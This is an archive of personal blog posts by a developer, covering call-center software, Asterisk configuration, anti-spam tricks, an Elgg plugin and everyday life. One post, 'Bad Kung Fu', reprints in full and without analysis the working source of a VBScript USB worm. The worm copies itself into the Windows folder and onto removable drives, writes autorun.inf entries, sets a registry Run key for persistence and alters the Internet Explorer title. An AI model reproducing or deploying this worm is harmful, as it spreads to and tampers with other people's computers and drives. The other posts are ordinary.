Archive for the ‘foo, bar and h4xx1ng’ Category

Following the XML Model

Sunday, April 29th, 2007

Last week, I tested one of the parts of my pet project. To be more precise, it was a stress test. The result wasn’t so bad. Through this test, I found out which parts can make the server bog down.

The application is simple. It’s a page that shows useful information to an inbound call center agent and a menu for call dispositions. It shows session data and statistics, queue information, call details and a list of call dispositions that they can choose. In short, it’s a helper screen with a touch of CRM.

The test was done on about 150 seats (I think). I think at production’s peak hours, it makes 26 queries per user every 5 seconds (8 of those are unchangeable because of authentication). So that should be about 780 querries per second. Those queries are called via AJAX.

Although that didn’t cause the server to crash, it reached the maximum number of users logged in at the database (using persistent connections).

To rectify it, I can increase that limit. But only losers do that. I’ll try some form of caching. I don’t know why I didn’t think of it before. My plan is to execute the 2 queries that are repeated every X seconds (call and queue data) and cache the results. That should reduce the load on the database. The session data can be event triggered, reducing it even further.

The cache will contain three directories at its root (S, C and Q)*. Then each directory should have the files containing the results in a file named with the key in the where clause. The format of the contents should be something similar to JSON (XML just takes too much work).

So when the AJAX request is sent, all it has to do then is get that file and print its contents (the client-side script parses that data already). At that point, the number of queries per second would’ve been reduced to a near-constant rate of 2 (excluding authentication).

Wow, parang ALGOCOM na rin.

*I think McDonald’s used it too. I think it was “service cleanliness and quality”.

Shirts Love It Too!

Sunday, April 29th, 2007

So yesterday I attended PHPUGPH’s Meetup at The Mob (Market! Market!). Roy of Computer Professionals’ Union (CPU) and I won a camping chair from the raffle courtesy of TXTDomain. Congratulations to Clod (aka r00t) and his team for organizing the event.

After that, I checked out Pakshirts at Habi House. I usually don’t spend for shirts. The last time I bought one was when I was in high school. You probably won’t believe that the FILA, Converse and No Fear shirts that I wear are from my sixth grade.

When I found the shirt that I liked, the lady told me she didn’t have change. I was trying to kill time since it was still rush hour so I did the trouble of looking for change. I never bothered this much for one shirt. I discovered that Serendra is the kind of place where you’re meant to spend four to five digits. I had trouble looking for a place where I only had to spend less than a hundred Pesos to get change.

This is what you’d call a real plaza. There were lots of nice sculptures and fountains. There’s this one fountain that had a boulder mounted on a huge tripod and it had water falling down (so it’s actually a waterfall?). I’m too lazy to look for a picture, so it’s best that you check it out for yourself.

Habi House is an art gallery that features paintings by a certain artist every two weeks. Yes, I did a mini-interview on the Habi House lady. At least there’s a story for the trouble of getting one shirt and the last for this design. All for the sake of local art (…and fashion).

I really liked the one-liners but I’m the type of person that prefers cotton shirts. The shirt is made of a very elastic material. I’ll just give this as a gift.

As requested by Rick of Project Manila and for Sir Pat, here’s a picture of the shirt enjoying the camping chair that I got for free.

Italy Mo Si Bantay

New Year’s Resolution

Sunday, April 15th, 2007

It’s only one month before my pet project becomes one year old. This is what my files’ timestamp claims though.

QueueMatrix will turn one year old on May 15, 2007. I don’t exactly know what to call it but here’s how it works. It processes flat files to structured data then displayed as human readable data. Those flat files are produced by a cluster of Asterisk (VoIP) servers then callhome to a database. As the year chugged along, a bunch of features were requested and messy patches were done.

I wrote before that this “system” will be used as a basis for the salaries of around 200 people. I can’t mess up anymore.

My long term plans for it include:

  • Data warehousing - Close to one year, the size of the database is now at ~1.3GB. Although still small, I want to purge this data and warehouse it (should prevent tampering too).
  • More distribution of processes - I should explain this in another post. The current system runs on a desktop machine. Sometimes, it gets overloaded. The new system is being tested with meaner Javascript, using my own version of JSON and less backend processing. It’s now threaded too (in some way).
  • Prepare for servers in different geographic locations - I’ve heard of such plans where another server will be installed …in another timezone. More timezone calculation headaches and that friggin’ DST.
  • Dissolve manual processes - I can’t disclose too much about this issue but there are still manual processes that I want to remove.
  • Tighter security
  • Automate installation processes
  • Find a better way to index files - I’m so ashamed of my solution it makes me cringe. What I did was have one directory scanned, processed and stored to the database every X number of minutes. The ugly part is that before scanning, the table is flushed instead of appending the new files found. Ewww.

Bad Kung Fu

Wednesday, April 11th, 2007

This is the source code for the “worm” that changes your IE’s title bar to “TAGA LIPA ARE”. How many people still use IE anyway?

'THIS IS A MODIFIED VERSION BY: F. E. SILVA
‘MABUHAY ANG LIPA
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe FS6519.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
source=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\FS6519.dll.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\FS6519.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\FS6519.dll.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\FS6519.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\FS6519.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\FS6519.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(”WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\FS6519″,winpath&”\FS6519.dll.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”TAGA LIPA ARE!”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

Source: PinoyPC

My First Elgg Plugin

Sunday, March 25th, 2007

Nothing big but something that will make returning to an Elgg site a better experience. This plugin provides a template keyword that displays the recent comments in an unordered list. grep helped me with searching for those undocumented functions.

Elgg is an open source social networking plaftform based around choice, flexibility and openness[...]

See it in action over here.

PBX Hacking Featured on ABS-CBN’s XXX

Saturday, March 10th, 2007

Want to get entertained by a n00b? Tune to ABS-CBN.

Updates after the show. The show ended around 21.45.

Before I go ahead, the following are just my opinions or assumptions. They may sound allegations and accusations (don’t sue me for libel, I have no money). Feel free to correct me.

I didn’t get to capture the show because my retarded brother was using the desktop. I was downstairs, marauding our freezer and cupboards when I overheard “hacker” from the telly.

XXXThe introduction showed how the hackers do it. They explained a couple of 1337 jargons and expanded abbreviations. They show the damages, figures and the victim, AT&T. The “hackers” are alleged to be from the Philippines who stole access codes to various AT&T corporate clients.

AT&T sent some guy to be interviewed and make the show more interesting. He was showing some slides from the 90’s explaining how PBXs work while the host pretended to listen attentively. They reported that AT&T sent their suspected attacker’s to NBI and another law enforcement organization with a crummy looking building.

They also found another guy they probably paid 50 bucks to read a script and pretend to know how to use a computer. They called this guy Agent XXX. Such a scary screen name, it made me cry in pain (oh wait, I poured too much alcohol on an open wound).

Agent XXX was showing a map that was edited with MS Paint. Who couldn’t tell? They airbrushed a path from somewhere to the suspect’s house. Then at one street, there’s a box which they highlighted as the target. MS Paint is the new GPS. So original. So cool. There’s nothing like it. I have to commend them for the effort.

Bob, the guy from AT&T (not his real name), said that they got to track the leader of this “syndicate” who is the middle man for the foreign contacts (known as the “financiers”) and the Filipinoy PBX “hackers”. The middle man is a Romanian (or was he from Jordan) and lives in BF Homes Parañaque.

What’s so funny is Bob was giving an I-shouldn’t-be-here look when he was included in the planning of the ambush arrest of the middle man. What’s weirder is that they brought cops in full battle gear with big guns. They described cyber-terrorism but what they didn’t know was that this tech “syndicate” barely even had security guards.

They caught two alleged “hackers” where they showed the confiscated analog phones. The phones were claimed as tools used to “hack” PBXs for access codes. Are they even sure what they were talking about?

The CG effects are great though. The intro, credits, and cutscenes are fantastic (and I’m not being sarcastic on this point).

I thought that local television is dead but it turns out that there’s still a good source of entertainment. This show is even funnier than Home Along Da Riles! I’m definitely watching this next week.

Cambio Uno

Saturday, February 17th, 2007

Like the new banner? I’m not good with design. I got to try one of the brushes from one of the delicious links posted here. That took me half of the afternoon to finish. I guess it’ll take me more time to revamp the whole theme.

I made minor tweaks to my anti-spam measures. When a comment is submitted, it has to be submitted within 15 minutes after the page was served. Building a filter is just too complicated.

Referrer checks are imposed as well (you have to come from the blog to post a comment; duh!). I also added a function where it’ll log the transmition data (IP address, referrer, time elapsed) of the comments to a file.

P.S. - Sorry to disappoint you all, but I’m still alive!

Asterisk Callback DISA

Sunday, January 28th, 2007

One reason I love my job so much is I learn a lot. Also, I can apply everything I’ve learned and be able to do something with it (read: play with a lot of stuff). The following is a forwarded email at the asterisk-ph Yahoo! Group. Originally posted here. Asterisk users are such cheap bastards. Ha ha ha!

Who needs this?

If you have an unlimited incoming cellphone service plan, you can use this method to call out without paying outgoing minute charge. You may also take advantage of your low long distance calling rate of your VoIP service by calling out through your home Asterisk server.

Requirements

  1. Your Asterisk box should be able to make at least two simultaneous outgoing calls. (One to call you back and the other provides DISA to dial out.)
  2. A separate Direct-Inward-Dial (DID) number dedicated to this task.
  3. Your cellphone should have a legitimate CallerID number. (We use this to identify the caller.)

How it works?

  1. Call your DID number on your Asterisk box from your cellphone. When you hear the ringing tone, just hang up your cellphone.
  2. Wait 20 seconds, your cellphone will get a incoming call from your Asterisk box. Answer it, follow the instructions. Press your password and the #. If everything is all right, you should get a dial tone.
  3. Now you may make an outgoing call from there. All calls should be routed from your Asterisk PBX using the lowest calling rate.

Setup

Here is how I setup my home Asterisk on Slug. I am using UnSlung 6.8 with Asterisk14 installed. A DID number 6085558888 from MyVSP is setup for this task. My cellphone number is 6081112222. You should change these to fit your situation.

  1. Create a file named /opt/etc/asterisk/callback.call with the following lines:
    Channel: SIP/6081112222@MyVSP
    Context: custom-DISA-out
    Extension: s
    Priority: 1
    CallerID: 6085558888
  2. Create a file named /opt/etc/asterisk/callback_exe with the following lines:
    sleep 20
    cp /opt/etc/asterisk/callback.call /opt/var/spool/asterisk/outgoing

    Make this file executable:
    chmod +x /opt/etc/asterisk/callback_exe

  3. In your extensions.conf:
    [MyVSP-incoming]
    exten => 6085558888 ,1,NoOp(Incoming call from # ${CALLERID(num)})
    exten => 6085558888 ,n,GotoIf($["${CALLERID(num)}" = "6081112222"]?custom-CallBack,s,1)

    [custom-CallBack]
    ;;prepare for callback and DISA
    exten => s,1,NoOp(Hangup then callback to cellphone)
    exten => s,2,Hangup()
    exten => h,1,NoOp(copy callback.call file to /opt/var/spool/asterisk/outgoing)
    exten => h,2,System(/opt/etc/asterisk/callback_exe)
    exten => h,3,Hangup()

    [custom-DISA-out]
    exten => s,1,Wait(1)
    exten => s,n,Background(agent-pass)
    exten => s,n,Authenticate(87235) ;this number is the password
    exten => s,n,Background(pls-wait-connect-call)
    exten => s,n,DISA(no-password|out-pstn)

  4. In your modules.conf, make sure the following modules are loaded:
    load=app_authenticate.so
    load=app_disa.so
    load=app_system.so
    load=pbx_spool.so
    load=func_callerid.so
  5. Restart Asterisk and test it.

Crimson Editor Goes Open Source

Saturday, December 30th, 2006

This just in, from the Crimson Editor Yahoo! Group.

Hi, I am the author of Crimson Editor.

Recently, I knew that I could not afford to make time to support Crimson Editor. So, I decided to make Crimson Editor as open source project. You can download the source code of Crimson Editor at Crimson Editor Homepage now. Thank you.

Regards,
Ingyu Kang

The community now knows for sure that Mr. Kang isn’t dead after two years of inactivity. I wonder how this will impact development on Emerald Editor.

I Love Val!

Monday, December 18th, 2006

I have been getting bombarded by spam recently. Like a hundred spam comments an hour. I didn’t want to use a plugin. CAPTCHAs and filters are definitely out of the question. CAPTCHAs makes commenting harder and filters don’t work all the time.

What I did is pretty simple. In my template, I added a hidden form element named “val”. Then a Javascript function that sets a value in val. The function will be called when the form is submitted.

When the form is submitted, val will be checked if it has a value. If it’s empty, it is assumed that the submitter is a spammer.

A way to circumvent this is to get the spam bots to parse and execute Javascript code. Another is using macro-like operations on browsers. Or they could also randomly insert values in form fields.

Right now, it looks like it works 100% of the time because I’m the only one who uses this method (I think). If it works without hitches until tomorrow, I’ll have commenting open.